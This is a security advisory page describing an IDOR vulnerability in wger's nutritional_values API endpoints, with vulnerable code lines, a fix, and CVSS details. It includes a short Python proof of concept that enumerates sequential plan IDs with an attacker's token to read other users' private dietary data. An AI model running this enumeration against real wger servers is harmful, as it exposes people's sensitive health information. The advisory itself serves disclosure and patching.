Medium

wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup

  • Disclosed: 26.02.2026
  • Updated: 11.10.2026 14:18

Summary

Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.

Details

DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:

wger/nutrition/api/views.py:

python
# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE — no user check

# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk)                    # VULNERABLE

# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk)           # VULNERABLE

The correct pattern used in the same file at LogItemViewSet (line 438):

python
LogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT

Affected endpoints:

GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/

PoC

python
import requests

BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}

# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
    r = requests.get(
        f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
        headers=headers
    )
    if r.status_code == 200:
        data = r.json()
        print(f"Plan {pk}: {data}")
        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
        #          fat, fat_saturated, fiber, sodium

No interaction from the victim required. Registration is open by default. PKs are sequential integers.

Impact

Any authenticated user can read other users' private dietary and health data:

  • Daily caloric intake
  • Protein, carbohydrate, fat, fiber, and sodium intake
  • Full meal composition and ingredient quantities

This data is sensitive health information users expect to be private.

Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) wger <= 2.1 no fix

References

CVSS score 4.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness (CWE)
CWE-639
Platform
Python (PyPI)
Package
wger
Disclosed
26.02.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-3422 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-g8gc-6c4h-jg86 - CC BY 4.0

Vulnerability history: wger

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (20) in the archive
Total entries
20
First → latest
11.2022 10.2026
Without a fix
16
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 8
  • Medium 9
  • Low 1

Disclosures per year

  1. 2022: 1
  2. 2023: 2
  3. 2024: 0
  4. 2025: 0
  5. 2026: 17
Severity:
  1. wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup this entry
    Medium · 4.3 CVE-2026-27839 <= 2.1 no fix
  2. Critical · 9.8 CVE-2022-2650 < 2.2 2.2

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.